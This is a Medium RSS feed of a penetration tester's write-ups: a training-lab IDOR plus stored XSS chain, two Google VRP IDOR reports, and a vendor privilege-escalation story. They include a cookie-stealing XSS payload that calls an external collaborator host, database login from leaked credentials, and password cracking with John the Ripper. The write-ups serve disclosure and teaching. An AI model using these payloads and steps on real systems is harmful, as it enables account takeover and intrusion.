<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Caesar Evan Santoso on Medium]]></title>
        <description><![CDATA[Stories by Caesar Evan Santoso on Medium]]></description>
        <link>https://medium.com/@caesarevan23?source=rss-5c412ee66076------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*MRv2XXH_6CSQS7zYvie9KQ.jpeg</url>
            <title>Stories by Caesar Evan Santoso on Medium</title>
            <link>https://medium.com/@caesarevan23?source=rss-5c412ee66076------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 03:59:59 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@caesarevan23/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Helium Challenge Batch 2 — WriteUp : IDOR & Stored XSS leads to Account Takeover]]></title>
            <link>https://caesarevan23.medium.com/helium-challenge-batch-2-writeup-idor-stored-xss-leads-to-account-takeover-9efece1cbd50?source=rss-5c412ee66076------2</link>
            <guid isPermaLink="false">https://medium.com/p/9efece1cbd50</guid>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[cyber-academy]]></category>
            <category><![CDATA[heliumchallenge]]></category>
            <category><![CDATA[xs]]></category>
            <category><![CDATA[idor]]></category>
            <dc:creator><![CDATA[Caesar Evan Santoso]]></dc:creator>
            <pubDate>Sat, 18 Apr 2026 08:18:21 GMT</pubDate>
            <atom:updated>2026-04-18T08:58:38.756Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A1fQI1swzQgFZb0XObJjfQ.png" /><figcaption>Cyber Academy</figcaption></figure><p>Hi! In my spare time, I’ve been participating in the <strong>Helium Challenge Batch 2</strong> event organized by Cyber Academy, and in this article I’d like to share one of the insights I gained while taking part in the event :)</p><p><a href="https://www.cyberacademy.id/">https://www.cyberacademy.id/</a></p><h3>Summary</h3><p>A critical vulnerability chain was identified in the application combining <strong>Insecure Direct Object Reference (IDOR)</strong> and <strong>Stored Cross-Site Scripting (XSS)</strong>, which can be exploited to achieve mass account takeover.</p><p>The /api/jobs/{id} endpoint does not enforce proper authorization checks, allowing attackers to modify job postings belonging to other users by manipulating the job identifier. Additionally, multiple input fields are vulnerable to Stored XSS, enabling attackers to inject malicious JavaScript that is executed in victims&#39; browsers.</p><p>By chaining these vulnerabilities, an attacker can inject persistent XSS payloads into arbitrary job postings, resulting in large-scale session hijacking.</p><h3>Affected Application</h3><p><a href="https://jobportal.vulnapp.id/">JobSearch - Vulnerable Training App</a></p><h3>Vulnerability Details</h3><p><strong>Insecure Direct Object Reference (IDOR)</strong></p><p>The application fails to validate whether the authenticated user is authorized to modify a specific job resource.</p><p>Vulnerable Endpoint:</p><pre>PUT /api/jobs/{id}</pre><p>An attacker can modify any job posting by changing the {id} parameter, leading to unauthorized access and modification of other users&#39; data.</p><p><strong>Stored Cross-Site Scripting (XSS)</strong></p><p>The following fields are vulnerable to persistent XSS:</p><pre>title<br><br>description<br><br>requirements</pre><p>User input is not properly sanitized or encoded before being stored and rendered, allowing malicious JavaScript execution.</p><h3>Vulnerability Chaining</h3><p>By combining IDOR and Stored XSS:</p><pre>1. Attacker enumerates job IDs<br>2. Modifies other users&#39; job postings via IDOR<br>3. Injects persistent XSS payloads<br>4. Victims view the job details page<br>5. Malicious JavaScript executes in victims’ browsers<br>6. Session cookies are exfiltrated and Account takeover</pre><h3>Attack Scenario</h3><p>An attacker can:</p><pre>1. Enumerate job IDs via available API endpoints<br>2. Use IDOR to overwrite job postings owned by other users<br>3. Inject a malicious XSS payload into multiple job entries<br>4. Wait for victims to view the job listings<br>5. When victims access the manipulated job details page, their session cookies are automatically exfiltrated, allowing the attacker to hijack their accounts.<br></pre><h3>Steps to Reproduce</h3><p>For this test, I used both of my accounts with different roles: “Job Seeker” and “Company.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*rg0VWeUYV5hqeQGgV-dXyQ.png" /><figcaption>Job Seeker — Account</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*n-Q3WKZVtI7O-RwyBXwwjg.png" /><figcaption>Company — Account</figcaption></figure><p>The Job Listings page shows that 26 job openings have been found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*bTjrByjUx4tYCfK71w8g_w.png" /></figure><p>The tester then used the Company account to create a post related to a job opening.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*NUKcHLevZdyE2CgU3AawSQ.png" /></figure><p>After that, the tester edited the post they had created earlier. And before clicking “Post Job,” the tester enabled the intercept feature in the Helium Core tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*yYq69VX5x8TlmgnNAFHUFg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*43ok-OXsGPNa3GqYRYdlng.png" /><figcaption>Helium Core</figcaption></figure><p>Here is the request generated by the post job editing process. As you can see here, the tester received a single endpoint:</p><pre>PUT /api/jobs/39</pre><p>where <strong>39 </strong>is the tester’s post number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*skDlF8ccKMbieWWl5IYA8g.png" /></figure><p>Then, during the reconnaissance phase, the tester discovered an endpoint that allowed them to view another user’s post ID by accessing the following endpoint:</p><pre>GET /api/jobs/11</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P5xIGK5OcH8EmtoL6LxajQ.png" /></figure><p>Next, in the PUT request, the tester changes the tester’s ID to another user’s ID:</p><pre>PUT /api/jobs/39 &gt; PUT /api/jobs/11</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4g-FYuyTzM8EImVQJA6oAg.png" /></figure><p>The results show that the tester was able to modify another user’s job post.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*y5DD03dl6vZH5Kpek-1oxA.png" /></figure><p>Next, the tester again found that all three parameters in the POST update contained an XSS vulnerability:</p><pre>title<br><br>description<br><br>requirements</pre><p>Payload XSS:</p><pre>&lt;img src=x onx=() onerror=alert(&#39;title&#39;)&gt;<br><br>&lt;img src=x onx=() onerror=alert(&#39;description&#39;)&gt;<br><br>&lt;img src=x onx=() onerror=alert(&#39;requirements&#39;)&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*36sy7prYsHUI57H2AAnV6g.png" /></figure><p>And as a result, when the tester views their own job posting page directly, the XSS payload is executed, and this also affects other users who access the tester’s post.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*LPQdpGaqu9wx44Qlf3fWZQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*xan9jM5vwZjO--GSgkuoJA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*TP65QW_A_x9U-F0x8dqFrQ.png" /></figure><p>Job Seeker account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*bwg4M0xX-OmztyibSXEErw.png" /></figure><p>To exploit this vulnerability, the tester will use an XSS payload that can be used to steal the victim’s cookies.</p><p>Payload XSS stealing cookie:</p><pre>&lt;img src=x onerror=this.src=&#39;http://XXXXXX.oastify.com/?c=&#39;+document.cookie&gt;</pre><p>To carry out this attack, the tester will use the BurpSuite tool and its “Intruder” feature, which allows the tester to directly launch attacks against all of another user’s Post Jobs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*26PIjAVWnGdMXaPh9_Tlag.png" /></figure><p>The tester used the BurpSuite Collaborator feature and observed that one of the users in the Collaborator was affected by this attack, and the tester obtained the victim’s cookie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*6tYPp8f5ygciPSDykJzVYQ.png" /></figure><p>Replace the tester’s cookies with the victim’s by editing the cookies using the Developer Tools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2buMbbcegqFhWijXY-AHyg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nHMc-Xdodf3L8MW-K1pCyw.png" /></figure><p>And can edit profile victim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ArImj4Bfd2qP0BmjtrygCg.png" /></figure><h3>Impact</h3><p>This vulnerability chain significantly increases risk due to the combination of access control bypass and persistent client-side code execution.</p><p><strong>Unauthorized Access (IDOR)</strong></p><ul><li>Modify job postings of other users</li><li>Authorization bypass</li></ul><p><strong>Stored XSS (Persistent)</strong></p><ul><li>Payload executed on every view</li><li>Affects multiple users</li></ul><p><strong>Mass Account Takeover</strong></p><ul><li>Session hijacking via cookie exfiltration</li><li>Scalable attack affecting many users</li></ul><h3>Recommendations</h3><p><strong>IDOR (Authorization Check)</strong></p><p>Ensure users can only access their own resources:</p><pre>if (job.owner_id != current_user.id):<br>    return 403 Forbidden</pre><p><strong>Input Validation &amp; Output Encoding</strong></p><ul><li>Sanitize all user input</li><li>Escape dangerous characters:<br> &lt; &gt; &quot; &#39; &amp; /</li><li>Apply proper output encoding when rendering</li></ul><p><strong>Use Sanitization Libraries</strong></p><ul><li>Frontend: DOMPurify</li><li>Backend: OWASP Java HTML Sanitizer</li></ul><p><strong>Implement Content Security Policy (CSP)</strong></p><pre>Content-Security-Policy: default-src &#39;self&#39;; script-src &#39;self&#39;;</pre><p><strong>Secure Session Cookies</strong></p><ul><li>Set HttpOnly flag</li><li>Set Secure flag</li><li>Use SameSite attribute</li></ul><h3>References</h3><ul><li><a href="https://owasp.org/www-community/attacks/xss/">Cross Site Scripting (XSS) | OWASP Foundation</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting">What is cross-site scripting (XSS) and how to prevent it? | Web Security Academy</a></li><li><a href="https://portswigger.net/web-security/access-control/idor">Insecure direct object references (IDOR)</a></li></ul><h3>Lesson learned</h3><p>A critical vulnerability chain combining <strong>IDOR</strong> and <strong>Stored XSS</strong> was identified, allowing attackers to modify other users’ job postings and inject persistent malicious scripts.</p><p>This enables large-scale exploitation where victims unknowingly execute attacker-controlled JavaScript upon viewing job details. As a result, session cookies can be exfiltrated, leading to mass account takeover.</p><p>The issue is easily exploitable and affects multiple users, significantly increasing overall risk to the platform.</p><h3>Follow Me</h3><p><a href="https://www.linkedin.com/in/c3van/">https://www.linkedin.com/in/c3van</a>/</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9efece1cbd50" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Google VRP (Acquisitions) — [Insecure Direct Object Reference] 2nd]]></title>
            <link>https://caesarevan23.medium.com/google-vrp-acquisitions-insecure-direct-object-reference-2nd-2ece9b185ade?source=rss-5c412ee66076------2</link>
            <guid isPermaLink="false">https://medium.com/p/2ece9b185ade</guid>
            <category><![CDATA[bug-hunting]]></category>
            <category><![CDATA[idor]]></category>
            <category><![CDATA[idor-vulnerability]]></category>
            <category><![CDATA[google-vrp]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Caesar Evan Santoso]]></dc:creator>
            <pubDate>Thu, 10 Nov 2022 12:15:15 GMT</pubDate>
            <atom:updated>2022-11-10T12:15:15.976Z</atom:updated>
            <content:encoded><![CDATA[<h3>Google VRP (Acquisitions) — [Insecure Direct Object Reference] 2nd</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CMbFeH9r1ArMVBGHQ-ykzw.jpeg" /><figcaption>Google VRP</figcaption></figure><p>Hi All!, Yuuppp…It’s me again! XD. As the title suggests, I will share how I found the <strong>[Insecure Direct Object Reference]</strong> vulnerability in one of Google’s acquisitions (<a href="https://www.appsheet.com/">https://www.appsheet.com/</a>).</p><h3>Description</h3><p><strong>AppSheet </strong>is an application that provides a no-code development platform for application software, which allows users to create mobile, tablet, and web applications using data sources like Google Drive, DropBox, Office 365, and other cloud-based spreadsheet and database platforms.<br><a href="https://www.appsheet.com/">https://www.appsheet.com/</a></p><h3>Proof Of Concept</h3><p>After I did some tests on the menu, I got one menu where this menu will send a template to send an Email and the template will enter our <strong>Google Docs</strong> or <strong>Drive</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/275/1*2-lhEUaM9Ij2AOPWPjQ6xQ.png" /></figure><h3>App “B” (Attacker) &amp; “C” (Victim)</h3><p>Here I create 2 accounts where the account from the profile picture “<strong>B</strong>” is the <strong>Attacker</strong>, and “<strong>C</strong>” is the <strong>Victim</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DQFLTQHSK9pHhhfP_xtTRQ.png" /><figcaption>Attacker “B”</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P3TgGxVnxY5mZ0y38sbrOg.png" /><figcaption>Victim “C”</figcaption></figure><p>It can be seen in the image below that the last document named “<strong>Victim</strong>” is the last document of this Victim account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_M4V8eo4RX-0D4PTIILhIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*axCO43IEivAM1qWhCxKtmw.png" /></figure><h3>Request “Attacker” &amp; “Victim”</h3><p>To make it easier here I will share the ID differences in my two accounts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/404/1*ouxNeTLLQVzBqOYNK2klEw.png" /><figcaption>ID Attacker &amp; Victim</figcaption></figure><p>And here is the Request from “Attacker”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xm4x14oX6iRxXhc87BU9dg.png" /><figcaption>ID Attacker</figcaption></figure><p>And here is the Request of “Victim”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YRzgmheH-nTT37HD1cYlgg.png" /><figcaption>ID Victim</figcaption></figure><h3>Test IDOR &amp; Spamming Docs Victim</h3><p>Here I use Burpsuite’s Intruder and change the “<strong>ID</strong>” of the “<strong>Attacker ID</strong>” to the ID of the “<strong>Victim</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ba_Q6wAR1QBzyc7I0fxemw.png" /><figcaption>Intruder BurpSuite</figcaption></figure><p>It can be seen in the Response image below that it displays a successful response and there is also a response related to the Docs sent to the <strong>Victim’s Docs</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*7yxvMy2i2avuPFNe6ugtdQ.png" /><figcaption>FileName : DocId</figcaption></figure><p>And if I look at the Docs belonging to the “<strong>Victim</strong>” account it will get Spam from this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O7a82vP0zh-2NlfQSoWnFg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ooeDbzzpd-gGUOkcqoVfEQ.png" /></figure><h3>Questions &amp; Answers</h3><ol><li>How do I find the ID ?<br><strong>You can rely on Google Search to find these ID</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UP43IrXz2zwkwcqw6DQvQw.png" /></figure><p>2. For “Version” do we have to follow the victim’s Version ?<br><strong>No, you can use your own “Version” and do not have to follow the victim’s Version.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*yEi88WdCsVKDDpxOfrQUQw.png" /></figure><h3>Timeline</h3><p>&gt; 27 Sep 2022 : Get IDOR and Report to Google<br>&gt; 10 Okt 2022 : Nice Catch!<br>&gt; 11 Okt 2022 : The VRP panel has decided to issue a reward of $XXX for my report<br>&gt; 6 Nov 2022 : Fixed!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kQR2PnKOuxbzMQrJd3mSrw.png" /></figure><h3>Follow Me</h3><p><a href="https://www.linkedin.com/in/c3van/">https://www.linkedin.com/in/c3van/</a></p><p>Sheeeeessshhhhhh!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2ece9b185ade" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Google VRP — [Insecure Direct Object Reference] $3133.70]]></title>
            <link>https://caesarevan23.medium.com/google-vrp-insecure-direct-object-reference-3133-70-a0e37023a4c7?source=rss-5c412ee66076------2</link>
            <guid isPermaLink="false">https://medium.com/p/a0e37023a4c7</guid>
            <category><![CDATA[idor-vulnerability]]></category>
            <category><![CDATA[bug-hunter]]></category>
            <category><![CDATA[google-vrp]]></category>
            <category><![CDATA[broken-access-control]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Caesar Evan Santoso]]></dc:creator>
            <pubDate>Thu, 20 Oct 2022 10:48:00 GMT</pubDate>
            <atom:updated>2022-10-20T10:48:00.627Z</atom:updated>
            <content:encoded><![CDATA[<h3>Google VRP — [Insecure Direct Object Reference] $3133.70</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CMbFeH9r1ArMVBGHQ-ykzw.jpeg" /><figcaption>Google VRP</figcaption></figure><p>Hi All!!!, Yes… it’s me. As usual I want to give a story about how I find <strong>IDOR</strong> [<strong>Insecure Direct Object Reference</strong>] vulnerability on one of Google’s subdomains (<a href="https://datastudio.google.com/">https://datastudio.google.com/</a>)</p><h3>Description</h3><p><strong>Google Data Studio</strong> is a tools for displaying data to make it easier to read. So, you can determine a website development plan or other business strategy more quickly and precisely.<br>By the way, it looks like <strong>Data Studio</strong> is now a <strong>Looker Studio</strong>…</p><p><a href="https://datastudio.google.com/">Data Studio Overview</a></p><h3>Proof Of Concept</h3><p>After I tried several Requests that I got on Request Burpsuite and also so many that it made me dizzy, I finally got one of the Endpoints that had this IDOR vulnerability.<br>The one with the vulnerability is “<strong>/persistTempReport</strong>”</p><h3>Create Template</h3><p>The first step I did was go to the “Template” page and then select one of the templates available there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rHM7nPAF4E4SsI9cRqQvBg.png" /></figure><p>After you click on one of these templates you will be directed to the Template page that you will create later, and there is an ID but it is not our Template ID (Maybe it’s like a temporary ID from this Data Studio)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xhBFXqdTKpmfg1oODb_E5Q.png" /></figure><p>Before I click “<strong>Edit &amp; Share</strong>” I enable Intercept on my BurpSuite, And then click “<strong>Add to Report</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OTghtVJ52nYJIlkSQhEYsA.png" /></figure><h3>Get Request {/persistTempReport}</h3><p>And I got Request from “<strong>/persistTempReport</strong>”, and this is where I got this IDOR vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iXGNdZwQ-6afK5d-N5xqCg.png" /></figure><p>As you can see in the picture above that the previous ID has changed, and this is my ID and the one you will use later like (https://datastudio.google.com/u/0/reporting/[XXXXXXX]/page/qlD/edit)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*apMv6KgcOUkXuu9WBRltng.png" /></figure><p>And in the picture above this belongs to my 2nd account ID</p><h3>Found IDOR</h3><p>In the content of Request “<strong>/persistTempReport</strong>” there is a parameter named “<strong>sourceReportId</strong>” which contains our Template ID and we can change it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D2xSTI32uyazSwkK5cGG9A.png" /><figcaption>ID Template Account {A}</figcaption></figure><p>And when I changed the contents of the “<strong>sourceReportId</strong>” parameter with my 2nd account ID, and it worked!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AIUmWZ4K0U3uAoaI6ulViQ.png" /><figcaption>ID Template Account {B}</figcaption></figure><h3>{getReport} and {persistentTempReport}</h3><p>It doesn’t stop there, after several times I’ve been looking for more requests, I found 1 Request “<strong>/getReport</strong>” which will have the same response as “<strong>/persistentTempReport</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y7GMu7BaKbXKcz0hTRANaA.png" /><figcaption>Request and Response from /getReport</figcaption></figure><p>And when I change the contents of my Template ID from “<strong>/getReport</strong>” it will display the response “<strong>PERMISSION_DENIED</strong>” and on “<strong>/persistentTempReport</strong>” no error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PIzze6ujx_6wwJU97Lft1w.png" /><figcaption>Permission Denied at getReport</figcaption></figure><h3>Reference IDOR</h3><p><a href="https://portswigger.net/web-security/access-control/idor">Insecure direct object references (IDOR)</a></p><h3>Timeline</h3><p>&gt; 16 Sep 2022 (01:04) : Get IDOR and report to Google<br>&gt; 16 Sep 2022 (01:13) : Additional Information (Added /getReport and /persistTempReport equations)<br>&gt; 20 Sep 2022 : Nice Catch! from Google<br>&gt; 27 Sep 2022 : The VRP panel has decided to issue a reward of $3133.70 for my report.<br>&gt; 19 Okt 2022 : Fixing by Google</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rrPUJj59rCVwSeFj2jTJWg.png" /></figure><h3>Follow Me</h3><p><a href="https://www.linkedin.com/in/c3van/">https://www.linkedin.com/in/c3van/</a></p><p>Thanks!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a0e37023a4c7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Stack Trace Laravel Leads to Privilege Escalation [Admin]]]></title>
            <link>https://caesarevan23.medium.com/from-stack-trace-laravel-leads-to-privilege-escalation-admin-514db92f6dc3?source=rss-5c412ee66076------2</link>
            <guid isPermaLink="false">https://medium.com/p/514db92f6dc3</guid>
            <category><![CDATA[john-the-ripper]]></category>
            <category><![CDATA[stacktrace]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Caesar Evan Santoso]]></dc:creator>
            <pubDate>Wed, 20 Jul 2022 16:42:01 GMT</pubDate>
            <atom:updated>2022-07-20T16:42:01.560Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi!, In this Article I will only tell a little about the findings that I think are interesting to be used as stories on my medium.com xD</p><p><strong>Note </strong>: I found this attack on one of the Vendors and of course I will censor :)</p><h3>Description</h3><p><strong>Stack Trace Laravel</strong> : For this Stack Trace I found when I couldn’t access a certain page, And got an error response.</p><p><strong>Privilege Escalation [Admin]</strong> : In this case I take advantage of the “<strong><em>Select Level</em></strong>” parameter which previously only “<strong><em>Users</em></strong>” can be changed to “<strong><em>Admin</em></strong>”</p><h3>Reconnaissance Get “Mysql DataBase User/Pass”</h3><p>After I do Recon I get one EndPoint and I get Error like “<strong><em>InvalidArgumentException</em></strong>” &gt; “<strong><em>View [auth.xxxxxxxxx] not found.</em></strong>”<br>“<em>xxxxxxxxx” </em>= Path</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mJTQcKFzTCKPujJypEJnoQ.png" /><figcaption>MySQL Username &amp; Password</figcaption></figure><h3>Login to MySQL</h3><p>After I get the Username and Password for this MySQL, I try to login using Command<br>“<strong>mysql -h host.com/IP -u User -p</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*fHt0O0eak9RaIyTvXQgoGw.png" /><figcaption>Login to Mysql</figcaption></figure><p>After logging in I also tried to create a new database here, and it worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*wkFf-No5JpPG8usRNlXCGg.png" /><figcaption>Command Show Database and Create Database</figcaption></figure><h3>Crack Password Using “John The Ripper”</h3><p>After getting the name of the database used, then I tried to look at the Tables to get the User Credentials and Passwords used on this Website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/266/1*IcbJInX9RGbYqxvg08IbZA.png" /><figcaption>Show Tables</figcaption></figure><p><strong>Note </strong>: The “<strong>Pwnd</strong>” table is a table that I created myself when I checked whether I could add a table too or not.</p><p>Here I get the “<strong>muser</strong>” table which contains the Username and Password that will be used to login to the Website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9_JkJRfsYXmD79UWnA92yQ.png" /></figure><p>I get a lot of Username and Password and also the Level of the User, There are 3 levels, namely (<strong>User</strong>, <strong>Manager</strong>, and <strong>Admin</strong>)<br>But for Password here there is something like “<strong>Bcrypt</strong>” hash ?</p><p>And I save all these hashes into a “hash.txt” file which I will crack later using the “<strong><em>John The Ripper</em></strong>” tools<br>(<a href="https://github.com/openwall/john">https://github.com/openwall/john</a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*p0iEKHvSbNdsI29NV4Jn9g.png" /></figure><p>I run this tool using Command <br>“<strong>john — wordlist=/usr/share/wordlists/rockyou.txt hash.txt</strong>”<br>For Wordlists I use “Rockyou.txt”, And I get the Password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*x67qhQNAVN6HQJ9pfKYwSA.png" /><figcaption>Crack with John</figcaption></figure><h3>Privilege Escalation [User to Admin]</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8gvERFVuXWGrVjQ4vSSCdg.png" /><figcaption>Image (<a href="https://medium.com/hackingmill/privilege-escalation-linux-part-1-8efce332f76d">https://medium.com/hackingmill/privilege-escalation-linux-part-1-8efce332f76d</a>)</figcaption></figure><p>After I successfully login to one of the users, here I only get “<strong><em>Manager</em></strong>” access permission not “<strong><em>Admin</em></strong>”, Seen because of the lack of Menu that I got</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mwn162Tr3Pq5bCLZl53t0A.png" /></figure><p>After I access the “<strong>Management User</strong>” menu there is an “<strong>Add User</strong>” feature</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tcb15aMsORN9dEQ4noFN8Q.png" /></figure><p>I tried to add my account just “<strong><em>hackforfun</em></strong>” but there we can only add it as “<strong>User</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*EEkWmaYf-mtkvfkkueTsFA.png" /></figure><p>Then I tried to enable Intercept in my Burpsuite, And I found an interesting parameter in my opinion.</p><p>I get parameter “<strong><em>select_level</em></strong>” which contains user, Can I Tampering on this Parameter? YESSSSSSSSSSSS YOU CAN!!!!!!! XD</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*Rn-1ik1l5uTbpWzoSu4a1g.png" /></figure><p>I again checked the levels in the “<strong><em>Muser</em></strong>” Table and there is an “<strong><em>Admin</em></strong>” level for the highest permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/99/1*AdNIH9EfBBPKpfKT4unS7g.png" /><figcaption>Level (user &gt; manajer/manager &gt; admin)</figcaption></figure><p>I did a User Edit on the user I created earlier, And I enabled Intercept too in BurpSuite</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*emUv2ENQSOCHOeifUuX5aA.png" /></figure><p>I changed the value of the “<strong><em>select_level</em></strong>” parameter from “<strong><em>User</em></strong>” to “<strong><em>Admin</em></strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ty1Y9Kqq5aI-c0HHiHckkg.png" /></figure><p>After I looked back, My User disappeared from his place!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CF6mF_OHmzSpxnEhvwvwxQ.png" /></figure><p>I then checked back on Tables “<strong><em>muser</em></strong>” and my User became level “<strong><em>Admin</em></strong>”!!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZY7JpcX5-7JI44FZIvsqFA.png" /></figure><p>Login to my user and BOOOOMMM!!! I can access Anything~</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wyAxiC5hbF6eKBu9l0IQQg.png" /></figure><h3>Reference</h3><ul><li><a href="https://github.com/openwall/john">GitHub - openwall/john: John the Ripper jumbo - advanced offline password cracker, which supports hundreds of hash and cipher types, and runs on many operating systems, CPUs, GPUs, and even some FPGAs</a></li><li><a href="https://www.invicti.com/web-vulnerability-scanner/vulnerabilities/stack-trace-disclosure-laravel/">Stack Trace Disclosure (Laravel)</a></li><li><a href="https://www.cynet.com/network-attacks/privilege-escalation/">What Is Privilege Escalation?</a></li></ul><h3>Follow Me</h3><p><a href="https://www.linkedin.com/in/c3van/">Caesar Evan Santoso - Penetration Tester - Q2 Technologies | LinkedIn</a></p><p>Thanks!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=514db92f6dc3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Get Pre-Auth Remote Code Execution (CVE-2021–42237) on One of the Vendors.]]></title>
            <link>https://caesarevan23.medium.com/how-i-get-pre-auth-remote-code-execution-cve-2021-42237-on-one-of-the-vendors-f62e35cb90de?source=rss-5c412ee66076------2</link>
            <guid isPermaLink="false">https://medium.com/p/f62e35cb90de</guid>
            <category><![CDATA[pre-auth-rce]]></category>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[sitecore]]></category>
            <category><![CDATA[remote-code-execution]]></category>
            <dc:creator><![CDATA[Caesar Evan Santoso]]></dc:creator>
            <pubDate>Wed, 06 Jul 2022 15:29:03 GMT</pubDate>
            <atom:updated>2022-07-06T15:29:03.685Z</atom:updated>
